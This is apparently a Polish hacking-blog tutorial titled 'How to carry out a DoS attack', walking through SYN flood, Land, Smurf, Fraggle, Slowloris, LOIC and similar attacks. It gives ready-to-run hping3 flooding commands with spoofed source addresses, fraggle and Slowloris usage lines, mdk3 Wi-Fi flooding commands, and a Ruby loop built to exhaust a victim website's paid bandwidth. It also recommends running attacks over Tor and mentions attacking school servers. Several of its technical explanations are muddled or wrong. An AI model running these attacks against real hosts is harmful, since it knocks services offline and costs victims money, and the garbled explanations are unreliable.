Jak wykonywać atak DoS?

Postanowiłem zebrać znane mi rodzaje ataków DDoS w jedno miejscowe, pokrótce opisać każdy z nich.

Wszyscy powinniśmy wiedzieć czym są ataki DDoS oraz posiadać podstawowe wiadomości na temat działania połączeń sieciowych i podstawy działania podstawowych protokołów i stosu TCP/IP, więc pomijając wstęp i definicję, jeśli ktoś nie wie, odsyłam do wiki:
DDoS
DoS.

Ping of death

To chyba najłatwiejszy do wykonania, a zarazem najmniej skomplikowany atak DDoS, a może da się go określić też jako remote buffer overflow(?), ponieważ systemy atakowane zawieszały się lub restartowały.

Standardy stosu TCP/IP dokładnie określają wielkości w bajtach danych pakietów, (nie)stety, programiści przeoczyli te wielkości pisząc sockety lata temu. Pakiet IMPC echo request może mieć maksymalną wielkość 65536 bajtów, wysyłając pakiet o większy niż 65526 bajtów, system atakowany umierał. Dlatego obecne systemy, mają określoną maksymalną wielkość pakietu ICMP:

Ping of death z consoli cmd

 

Teardrop

Żeby zrozumieć ten atak, trzeba wytłumaczyć działanie segmentacji pakietów IP.

Pakiet IP ma w sobie takie magiczne pole “offset field” zawiera ono jakąś liczbę.

Gdy pakiet jest wysyłany i przechodzi przez bramę sieci, jednak wielkość pakietu jest większa niż maksymalna wielkość pakietu, który może zostać przepuszczony przez bramkę, zostaje on podzielony na części, np. Gdy pakiet ma 80kb (wielkość fikcyjna), bramka może przepuścić max. wielkość pakietu dajmy 33kb. Ten pakiet zostaje podzielony na 3 części. Każda kolejna ma chronologicznie ustawioną wartość w polu offset field pierwszy pakiet – 1, drugi pakiet – 2, trzeci pakiet – 3. Proste. Odbiorca odbiera te trzy pakiety pakiety, składa je kolejno do siebie i otrzymuje jakąś wiadomość.

Atak teardrop polegał na wykorzystaniu nieprawidłowego składania pakietów w całość, poprzez wysyłanie do ofiary pakietów z offset field z liczbami nakładającymi się.

Pierwszy pakiet OF=1, drugi pakiet OF=2, trzeci pakiet OF=1, czwarty pakiet OF=1, w tym momencie system ofiary wariuje, jedno wielkie WTF. System padał, zawieszał sie, restartował, zamykał wszystkie połączenia. Atak ten zaliczam do historycznych, chociaż system m$ vista na ten atak był nadal podatny jeszcze w 2009 roku, na protokole SMB2.

SYN-FLOOD

Połączenie według standardów TCP/IP nawiązuje się w trzech krokach:

  1. Klient odpytuje serwer o aktywność – wysłanie pakietu z flagą SYN.

  2. Serwer jeśli odbierze pakiet SYN i nie jest leniwy i chce na ten SYN odpowiedzieć, odsyła SYN-ACK.

  3. Gdy już klient wie, że może pogadać z serwerem wysyła do serwera pakiety z danymi, usuwa flagę SYN, zostawia tylko ACK.

Wykonanie tych trzech kroków tworzy połączenie klient-serwer. Psikus! Serwer musi odpowiedzieć pakietem z flagą albo SYN-ACK albo RST! Czyli ofiara musi odesłać pakiet, który waży klika kilobajtów. Jest to typowy atak DDoS, sam DoS byłyby nieskuteczny, chyba, że dysponujemy większą przepustowością łącza niż ofiara, dlatego atak, nie ma szans powodzenia, jako atak DoS. Gdy serwer musi odpowiedzieć na pakiet z flagą SYN, pakietem z RST albo SYN-ACK, traci swoją przepustowość na upload i download. Sewery przechowują dane klienta, od którego nadszedł pakiet z SYN, dopóki otrzymają pakiet z flagą ACK… niech sobie czekają…

Prawdziwi klienci, którzy chcą się połączyć z serwerem nie mogą, gdyż łącze jest zajęte.

Land

Nie mam pojęcia skąd taka nazwa tego ataku. Sam atak niewiele różni się od ataku SYN-Flood, a różni się adresem źródłowym pakietu z flagą SYN. Najlepiej, żeby ten adres był sfałszowany, na adres… ofiary? No niech będzie. Uprośćmy budowę pakietu ze stosu TCP/IP:

-----------------------------------------------------------
| ź r ó d ł o w y a d r e s I P | f l a g a | wartość TTL |
-----------------------------------------------------------

127.0.0.1 – IP ofiary, prawie całkiem przypadkowy adres.

SYN – flaga

wartość TTL – nie będziemy szaleli, ok. 20 przeważnie trzeba, żeby pakiet dostał się do ofiary, to damy 9000000 żeby tyle okrążeń z karty sieciowej ofiary do gniazda systemowego ofiary pakiet zrobił.

Pakiet jest wysyłany z komputera… nie zgadniecie. Agresora. Nieważne jest IP Agresora, i tak zostanie spreparowane.

Odpowiednio spreparowany do ataku Land pakiet wygląda tak:

----------------------------
| 127.0.0.1| SYN | 9000000 |
----------------------------

Ofiara otrzymuje taki pakiet. I co robi? Wysyła odpowiedź z flagą SYN-ACK albo RST na adres źródłowy, czyli wysyła pakiet do siebie samego osobiście. Głupi serwer odpowie do siebie samego SYN-ACK i otworzy połączenie z localhostem, takie połączenie będzie aktywne, tak długo aż wygaśnie czyli paręset sekund, wartość ustawiana przez administratora, gorzej dzieje się gdy serwer ma ograniczoną ilość połączeń jednocześnie np. Do 300, albowiem na łączu 128kbps można wysłać z 50 takich pakietów na sekundę.

 

Smurf

Mój ulubiony atak, ze względu na to, że serwery w szkole są na niego podatne :>

Ot nie sztuką jest floodować adres broadcast.

Zwany też atakiem siłowym, bo jest silniejszy niż słaby adres rozgłoszeniowy.

Źle skonfigurowany router, serwer, hub, (switch już nie, bo filtruje takie pakiety domyślnie) gdy dostanie pakiet skierowany na adres broadcast, wykona multipkikację tego pakietu i wyśle go do wszystkich komputerów w sieci.

Pakiet wysłany z komputera należącego do sieci lokalnej zostanie wysłany do wszystkich komputerów w sieci lokalnej.

Pakiet wysłany z poza sieci lokalnej wysłany do sieci docelowej jest kierowny do wszystkich kart sieciowych w sieci lokalnej.

Jak wykorzystać ten atak?

Do przeprowadzenia ataku znowu będziemy potrzebowali sfałszować adres źródłowy znowu na adres ofiary. Fałszujemy adres IP w nagłówku ICMP echo request, wysyłamy z komputera atakującego na adres broadcast, wszystkie komputery w sieci odpowiedzą pakietem ICMP echo reply na adres ofiary :>

Systemy klasy Windows domyślnie nie odpowiadają na pakiet ICMP echo request z adresem broadcast.

Sztuczka z odpytywaniem o adres broadcast przydatna jest także w fingerprintingu, gdy wykonamy nmap <adres broadcast> zeskanowane zostaną wszystkie komputery w sieci.

 

Naptha

Wg. mnie bezsensowny atak, no ale skoro działa…

Podobny do ataku SYN. Naptha wykorzystuje kolejną wadę standardu TCP/IP, także z wykorzystaniem flag na pakietach. Różnicą jest to, że ofiara odczekuje na odebranie pakietu z flagą SYN-ACK, w Nathpa od tego czy serwer odpowie pozytywnie (SYN-ACK) czy negatywnie (RST) zależy powodzenie ataku.

Opis teoretycznego powodzenia ataku:

Agresor prosi o połączenie z serwerem przez zapytanie z flagą SYN.

(już prawie) ofiara odpowiada flagą SYN-ACK.

Atakujący z zadowoleniem i podnietą wysyła pakiet kończący połączenie FIN-ACK(po polsku – już zakończmy połączenie ok?), serwer w tym momencie odpowiada pakietem, który ma zakończyć komunikacją między komputerami, wysyła flagę FIN (ok, ale daj mi znać czy na pewno tego chcesz), atakujący by zakończyć połączenie powinien odpisać ACK (tak, chcę zakończyć), ale nie odpowiada. Serwer czeka, przechodzi w stan pasywnego oczekiwania.

Zalewanie takimi pakietami skutkuje odrzuceniem innych połączeń do ofiary.

 

UDP-flood

Znowu nasi kochani panowie z IEEE popsuli działanie protokołu, a może nie popsuli tylko nie przewidzieli, że ktoś może tak to wykorzystać?

Najważniejszym elementem tego ataku jest możliwość spoofowania adresu IP w pakiecie UPD echo, oraz to, że pakiet UDP echo i UDP chargen nie mają wartości TTL.

Obrazek wyjaśnia komunikację:

 

 

Pakiety UPD echo i UDP chargen nigdy nie znikają, tworzy się nieskończona pętla, w której tracą komputery: 192.168.1.4, 192.168.1.3 oraz switch.

 

Fraggle

Atak zbliżony do Smurf, różnica polega na wykorzystaniu innego protokołu do ataku, ICMP zastępuje UDP. Różnice między UDP i ICMP zostały opisane powyżej więc nie będę do tego wracał.

Tym razem udało mi się znaleźć program, dzięki któremu wykonamy atak, źródło do pobrania w dziale Download.

Sposób użycia:

./fraggle <cel> <plik z adresami broadcast> <ilosc pakietów> <opóźnienie>
./fraggle 192.168.1.3 plik 90000000000000000 10

Slowloris

Atak typowy DoS, wystarczy jeden komputer z dużą ilością wolnej pamięci RAM by unieszkodliwić spore serwery, gdy używam tego ataku zwalniam 12GB RAM, które slowloris zajmuje w ciągu ~3minut.

Skrypt tworzy wirtualne gniazda, na których wysyła niepełne zapytania do serwera na porcie 80 (http) lub 443 (https), przedstawia się, używając user agent FireFoxa, nawiązuje pełne połączenie TCP z serwerem ofiary, sam atak zbliżony działaniem do SYN-flood, tutaj mamy przyjemność z HTTP-flood.

Atak bardzo populary ze względu na jego zasięg. Podatne są nie systemy operacyjne, przepustowość łącza lecz program odpowiadający za usługę webserwera:

  • Apache 1.x

  • Apache 2.x

  • dhttpd

  • GoAhead WebServer

  • WebSense “block pages” (niepotwierdzone)

  • Trapeze Wireless Web Portal (niepotwierdzone)

  • Verizon’s MI424-WR FIOS Cable modem (niepotwierdzone)

  • Verizon’s Motorola Set-Top Box (niepotwierdzone)

  • Deny All WAF (niepotwierdzone)

  • BeeWare WAF (niepotwierdzone)

Użycie skryptu:

perl slowloris -dns <adres ofiary IP lub url>

Dodatkową możliwością może być:
– określenie liczby klientów
– szyfrowanie połączenia (zwiększa zużycie mocy obliczeniowej serwera)
– ilość klientów stworzonych w ciągu sekundy

Od siebie dodam, że program bardzo ładnie spisuje się gdy atak jest przeprowadzany przez trasowanie cebulowe, prościej mówiąc, gdy cały ruch wejścia i wyjścia z komputera przechodzi przez sieć TOR.

Dokumentacja programu.

 

UDP Unicorn

Kolejny flooder, atakuje pakietami UDP. Program z GUI. Ma możliwość ataku na wybrany port, wielowątkowości i multisocketownia, określenia wielkości pakietu. Screen opisuje wszystko:

Patrząc na GUI tego programu, łatwo się domyśleć, że jest on skierowany do script-kiddies.

HPING3

Program o bardzo rozbudowanych możliwościach, od skanowania portów, floodwania w sieciach wewnętrznych/zewnętrznych przez fingerprinting systemów operacyjnych, sniffing, przesyłanie plików, fuzzing, traceroute, spoofing, pfuuu….

Polecenie:

 $ hping3 --help

zwróci nam możliwości jakie oferuje program.

 

Jak możesz zauważyć dużo tego, zajmiemy się tymi, które pasują do tematu artykułu.

$ hping3 -S 192.168.1.1 -a 192.168.1.3 -p 80 -flood

Program wyśle pod adres 192.168.1.1 pakiety z flagą SYN, podając się za adres źródłowy 192.168.1.254 na port 80, będzie wysyłało pakiety tak szybko jak to możliwe, bez sprawdzania czy dotarły. Jak się domyslacie jest to atak SYN-Flood.

$ hping3 -U -P -S -A 192.168.1.1 -k -s 80 -p 80 -a 192.168.1.3

Polecenie to nic innego jak złożony atak Land, przetłumaczę to na polski:
wysyłaj pakiety z flagami URG, PUSH, SYN, ACK, na adres 192.168.1.1 z portu 80 na port 80, podając się za adres 192.168.1.1.

$ hping3 twoja.domena -p 80 -i u30000 –udp

Zostaną wysłane pakiety UDP na port 80 pod adres twoja.domena, z prędkością 30 pakietów na sekundę.

Jak widać kombinacji użycia programu jest bardzo dużo, często ograniczać nas może wiedza na temat stosu TCP/IP, działania sieci czy wyobraźnia.

Low Orbit Ion Cannon

LOIC

Pozwala atakować używając trzech dział:

  • TCP
  • HTTP
  • UDP

wysyłając pakiety zawierające wiadomość w ASCII, domyślnie A cat is fine too. Desudesudesu.

W GUI programu oznaczamy miejsce ataku, wybieramy przycisk obok, by zdobyć adres IP ofiary, wybieramy ilość wątków, port docelowy, delay z jakimi wysyłane są pakiety i czy program ma floodować (czekać na odpowiedź od serwera czy nie).

 

Aplikacja bardzo chętnie jest używana przez grupy anonymous /b/, najczęściej w celu ataku na agencje typu RIAA, Aiplex. Program dostępny też w Javie w dziale Download, do pobrania w celach edukacyjnych.

 

Niekonwencjonalny atak

Ataki DDoS to nie tylko zapychanie łącza u ofiary, może także narażać ofiarę na koszty finansowe, także niekoniecznie przez zatrudnianie administratorów. Możliwym na polskie realia jest atak polegający na wyczerpaniu transferu miesięcznego na stronie www osoby prywatnej lub ofiary. Otóż, niektórzy usługodawcy serwera www w zawartej umowie posiadają punkt, coś w rodzaju:

masz 3GB miesięcznie, a jak przekroczysz ten limit to:

  • musisz zapłacić za transfer przyszło-miesięczny inaczej Twoja strona nie będzie odblokowana
  • operator od razu nalicza kwotą karną, np. 50zł za każdy kolejny 1GB
  • automatycznie do rachunku doliczana jest kwota za opłatę za przyszły miesiąc (zmienia się termin rozpoczęcia nowego miesiąca, czyli rachunek przyjdzie wcześniej).

Poniższy skrypt, w nieskończoność będzie pobierał element, najlepiej, żeby był to obrazek ze strony internetowej ofiary, gdyż będzie się pobierał najszybciej:

#!/usr/bin/ruby
require 'net/http'
@strona = 'ADRES' #www.ofiara.pl
@element = 'RESZTA LINKU' #/logo.gif
while(1)
   Net::HTTP.start(@strona)do |http|
       req = Net::HTTP::Get.new(@element)
       puts 'Ook!' if (http.request(req).body)
   end
end

WiFi DoS MDK3

Program mdk3 jest dość ciekawym projektem, ma spore możliwości, jest znacznie łatwiejszy w obsłudze niż zestaw aircrack-ng, mdk3 ma m in. możliwość de-autoryzacji wszystkich kart sieciowych w zasięgu, ze wszystkich AP w zasięgu, ataku brute-force na sieci z ukrytym BSSID, tworzenia dużej ilości nieistniejących AP, wysyłania dużej ilości pakietów w eter, kierowania ich do jednego AP, który jest atakowany, by spowolnić jego działanie lub zamrozić na pewien czas, co właśnie chcę pokazać.

Aby program włączyć, trzeba być na koncie o prawach roota, oraz przełączyć kartę z WLAN w tryb monitor, robimy to za pomocą airmon-ng:

airmon-ng start <interface>

utworzy się nowy wirtualny interface – mon0, to właśnie z niego przeprowadza się ataki.

Poleceniem mdk3 mon0 <opcja>

Skupiamy się na opcji floodowania pakietami pobliskich AP, dlatego polecenie będzie wyglądało tak:

mdk3 mon0 a

co do poniższy wynik:

po lewej działanie programu mdk3, po prawej chwytanie pakietów przez airodump-ng.

Każda opcja w programie mdk3 ma swoje dodatkowe możliwości, dla opcji a są to:

-a skoncentruj się na tym AP, podajemy adres MAC ofiary
-a 00:11:22:33:44:55
-m użyj adresów MAC z pliku <plik>
-c nie sprawdzaj czy połączenie się powiodło
-i łączy klienta z AP i utrzymuje połączenie wstrzykując zesniffowane pakiety (w tym wypadku opcje -a oraz -c są ignorowane)

-i 00:11:22:33:44:55
-s liczba pakietów wysyłanych na sekundę, domyślnie nieograniczone
-s 900
Aby użyć ataku wraz z dodatkową opcją:
mdk3 mon0 a -i 00:04:ED:A3:80:11 -s 900

To polecenie zawiesza mój router w mniej niż 2 sekundy ;)

 

Jak widać powyżej do opcji “głównej” nie podajemy przez literą minusa, przy opcji dodatkowej tak.

Jeśli chcesz dowiedzieć się jakie są możliwości obrony przed DDoS, zapraszam do artykułu sekuraka.

[Total: 0    Average: 0/5]
  • adrian

    Niestety

    Niekonwencjonalny atak nie dziala wywala mase bledów

    • ale tam nawet nie ma co nie działać ;)
      pewnie brakuje Ci jakieś biblioteki w systemie